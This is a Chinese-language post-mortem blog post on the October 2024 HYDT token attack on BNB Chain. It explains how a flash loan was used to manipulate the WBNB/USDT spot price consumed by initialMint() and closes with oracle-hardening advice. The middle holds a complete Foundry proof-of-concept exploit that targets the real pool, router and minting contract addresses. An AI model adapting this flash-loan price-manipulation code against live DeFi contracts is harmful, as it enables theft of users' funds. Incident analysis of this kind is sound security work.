事件概览2024年10月10日,TenArmor安全警报系统检测到了在BSC上涉及HYDT代币的可疑攻击,攻击者通过操纵WBNB/USDT对的现货价格,让InitialMintV2合约中的initialMint函数,最终获利5.8k美元。
2024年10月10日,TenArmor安全警报系统检测到了在BSC上涉及HYDT代币的可疑攻击,攻击者通过操纵WBNB/USDT 对的现货价格,让InitialMintV2合约中的initialMint
函数,最终获利5.8k美元。此次攻击的核心在于操纵价格预言机,通过闪电贷借款,人为向流动性代币池中交换代币,造成代币对的价格发生变动,从而达到操纵预言机价格的目的,最终实现攻击并获利。
<!--StartFragment-->
闪电贷是 DeFi(去中心化金融)领域中的一种创新金融工具,允许用户在无需提供抵押品的情况下,借入大量资金进行交易。闪电贷的核心特点是:
闪电贷的流行协议包括 Aave、dYdX 和 Balancer 等。尽管闪电贷为 DeFi 带来了更多的可能性,但也因其无需抵押的特性,成为攻击者进行恶意操作的工具。
<!--EndFragment-->
msg.sender(DualPools Exploiter):0x4645863205b47a0a3344684489e8c446a437d66c attack contract :0x8f921e27e3af106015d1c3a244ec4f48dbfcad14 attack tx :0xa9df1bd97cf6d4d1d58d3adfbdde719e46a1548db724c2e76b4cd4c3222f22b3 Attack analysis : https://app.blocksec.com/explorer/tx/bsc/0xa9df1bd97cf6d4d1d58d3adfbdde719e46a1548db724c2e76b4cd4c3222f22b3 X: https://x.com/TenArmorAlert/status/1844247004551262678
攻击者利用闪电贷进行借款,在借款后通过swap功能改变代币对的数量比,通过操纵预言机(链上代币对的价格),让InitialMintV2合约中的initialMint
函数根据 WBNB/USDT 对的现货价格计算 HYDT 代币数量并铸造了更多HYDT代币,最后通过swap将HYDT转换为USDT获利,最终获利5.8k 美元。
攻击的根本原因在于 initialMint()
中发生了价格操纵。InitialMintV2
合约中的 initialMint()
函数执行了一系列的代币交换操作,以下是详细的攻击步骤:
图中展示了为何可以操纵价格预言机。
pancakeV3FlashCallback
中,攻击者通过将大量的 USDT 代币转换为 WBNB 代币,导致池子中的 USDT 数量急剧减少,而 WBNB 数量激增。HYDT
代币被铸造的数量大大增加,超过了正常情况下的数量。USDT查询attack contract在PancakeSwap: Router v2中的授权额度。
HYDT查询attack contract在PancakeSwap: SwapRouter V3中的授权额度,授权PancakeSwap: SwapRouter V3一个long param的额度。
HYDT查询attack contract在PancakeSwap: Router v2的授权额度,并授权PancakeSwap: Router v2一个long param的额度。
BNB Chain: WBNB Token查询attack contract在PancakeSwap: Router v2的授权额度,并授权PancakeSwap: Router v2一个long param的额度。
0x92b7_PancakeV3Pool调用flash函数进行闪电贷,贷款被攻击合约接收,这个过程实现了价格操纵。 首先,查询该账户两种代币的余额:
然后,USDT给攻击者进行12000000 ether 转账:
攻击合约调用pancakeV3FlashCallback,该函数具体操作如下:
(1) HYDT 代币铸造:由于价格操控,HYDT
代币的铸造数量远超正常水平。
(2) HYDT 代币交换:攻击者将铸造出来的 HYDT 代币通过交换过程转换为 WBNB 和 USDT 代币。
(3) WBNB 代币交换:攻击者将获得的 WBNB 代币再次兑换成 USDT。
(4) 最终,经过一系列的代币交换后,攻击者的 USDT 数量大幅增加,达到不正常的水平。
BNB Chain: WBNB Token
的余额数量。transfer()
函数,将积累的 WBNB 代币转移给 msg.sender
。fallback
函数,最终攻击者从中获利,获取大量的 USDT。pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// 2024-10-10 HYDT(BNB)
// attack : 0x4645863205b47a0a3344684489e8c446a437d66c
// attack tx : 0xa9df1bd97cf6d4d1d58d3adfbdde719e46a1548db724c2e76b4cd4c3222f22b3
// attack contract : 0x8f921e27e3af106015d1c3a244ec4f48dbfcad14
// Attack analysis : https://app.blocksec.com/explorer/tx/bsc/0xa9df1bd97cf6d4d1d58d3adfbdde719e46a1548db724c2e76b4cd4c3222f22b3
// X: https://x.com/TenArmorAlert/status/1844247004551262678
contract ContractTest is Test {
IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
Uni_Pair_V3 pool = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
Uni_Pair_V2 pair = Uni_Pair_V2(0x5E901164858d75852EF548B3729f44Dd93209c9c);
Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
Uni_Router_V3 routerV3 = Uni_Router_V3(0x1b81D678ffb9C0263b24A97847620C99d213eB14);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 HYDT = IERC20(0x9810512Be701801954449408966c630595D0cD51);
uint256 borrow_amount;
address MintV2 = 0xA2268Fcc2FE7A2Bb755FbE5A7B3Ac346ddFeDB9B;
function setUp() external {
// fork 到 BSC中的这个区块号进行攻击复现
cheats.createSelectFork("bsc", 42_985_310);
// 定义攻击开始之前原本攻击者拥有的USDT,这里可以任意设置数量
deal(address(USDT), address(this), 0);
}
function testExploit() external {
emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
console.log("-----------------------------------------------------------");
// 定义借款 11,000,000 个USDT
borrow_amount = 11_000_000 ether;
// 调用flash实现闪电贷完成价格操纵
pool.flash(address(this), borrow_amount, 0, "");
console.log("-----------------------------------------------------------");
emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
}
// 模拟pancakeV3FlashCallback函数,fee0, fee1=0,
function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {
//console.log("pancakeV3FlashCallback");
console.log("[flash] USDT obtained through flash loan: ", USDT.balanceOf(address(this)) / 1e18);
console.log("[Swap]");
swap_token_to_token(address(USDT), address(WBNB), USDT.balanceOf(address(this)));
console.log("[Swap] USDT after exchange: ", USDT.balanceOf(address(this)) / 1e18);
console.log("[Swap] WBNB after exchange: ", WBNB.balanceOf(address(this)) / 1e18);
WBNB.withdraw(11 ether);
// 向MintV2合约中转入11ETH并调用initialMint()
console.log("!!!The price of the prophecy is manipulated here!!!");
(bool success,) = MintV2.call{value: 11 ether}(abi.encodeWithSignature("initialMint()"));
require(success, "MintV2 call failed");
emit log_named_decimal_uint("HYDT can mint", HYDT.balanceOf(address(this)), 18);
console.log("[exactInputSingle] HYDT -> USDT");
uint256 v3_amount = HYDT.balanceOf(address(this)) / 2;
HYDT.approve(address(routerV3), v3_amount);
Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
tokenIn: address(HYDT),
tokenOut: address(USDT),
deadline: type(uint256).max,
recipient: address(this),
amountIn: v3_amount,
amountOutMinimum: 0,
sqrtPriceLimitX96: 0,
fee: 500
});
routerV3.exactInputSingle(_Params);
console.log("[exactInputSingle] HYDT after exchange: ", HYDT.balanceOf(address(this)) / 1e18);
console.log("[exactInputSingle] USDT after exchange: ", USDT.balanceOf(address(this)) / 1e18);
console.log("[Swap1] HYDT -> WBNB:");
console.log("start: HYDT: %d --------- WBNB: %d", HYDT.balanceOf(address(this)) / 1e18, WBNB.balanceOf(address(this)) / 1e18);
swap_token_to_token(address(HYDT), address(WBNB), HYDT.balanceOf(address(this)) / 2);
console.log("end: HYDT: %d --------- WBNB: %d", HYDT.balanceOf(address(this)) / 1e18, WBNB.balanceOf(address(this)) / 1e18);
console.log("[Swap2] HYDT -> USDT:");
console.log("start: HYDT: %d --------- USDT: %d", HYDT.balanceOf(address(this)) / 1e18, USDT.balanceOf(address(this)) / 1e18);
swap_token_to_token(address(HYDT), address(USDT), HYDT.balanceOf(address(this)));
console.log("end: HYDT: %d --------- USDT: %d", HYDT.balanceOf(address(this)) / 1e18, USDT.balanceOf(address(this)) / 1e18);
console.log("[Swap3] WBNB -> USDT:");
console.log("start: WBNB: %d --------- USDT: %d", WBNB.balanceOf(address(this)) / 1e18, USDT.balanceOf(address(this)) / 1e18);
swap_token_to_token(address(WBNB), address(USDT), WBNB.balanceOf(address(this)));
console.log("start: WBNB: %d --------- USDT: %d", WBNB.balanceOf(address(this)) / 1e18, USDT.balanceOf(address(this)) / 1e18);
USDT.transfer(address(pool), borrow_amount + fee0);
emit log_named_decimal_uint("[Fee]", fee0, 18);
console.log("[more USDT] = USDT - Fee - Borrow = 11006802 - 1100 - 11000000 = 5702");
}
function swap_token_to_token(address A, address B, uint256 amount) internal {
IERC20(A).approve(address(router), amount);
address[] memory path = new address[](2);
path[0] = address(A);
path[1] = address(B);
// 模拟swapExactTokensForTokens函数
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
}
receive() external payable {}
}
完整的可执行代码:https://github.com/KISSInori/DeFiAttack_Foundry
该攻击的根本问题在于合约中 initialMint()
函数的设计漏洞,攻击者通过操控价格预言机,利用代币交换机制实现了非法获利。
针对于操纵价格预言机的攻击,可以考虑:
<!--StartFragment-->
多重预言机数据源:使用多个独立的预言机,以减少单个源的操控风险。
延迟数据:增加数据更新的延迟,减少攻击者利用短时间内的价格波动进行操控的机会。
价格聚合算法:通过加权平均等方法来计算价格,以减少恶意操控的影响。
限制借贷杠杆:降低高杠杆交易的风险,限制通过大规模交易进行操控的可能性。
<!--EndFragment-->
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!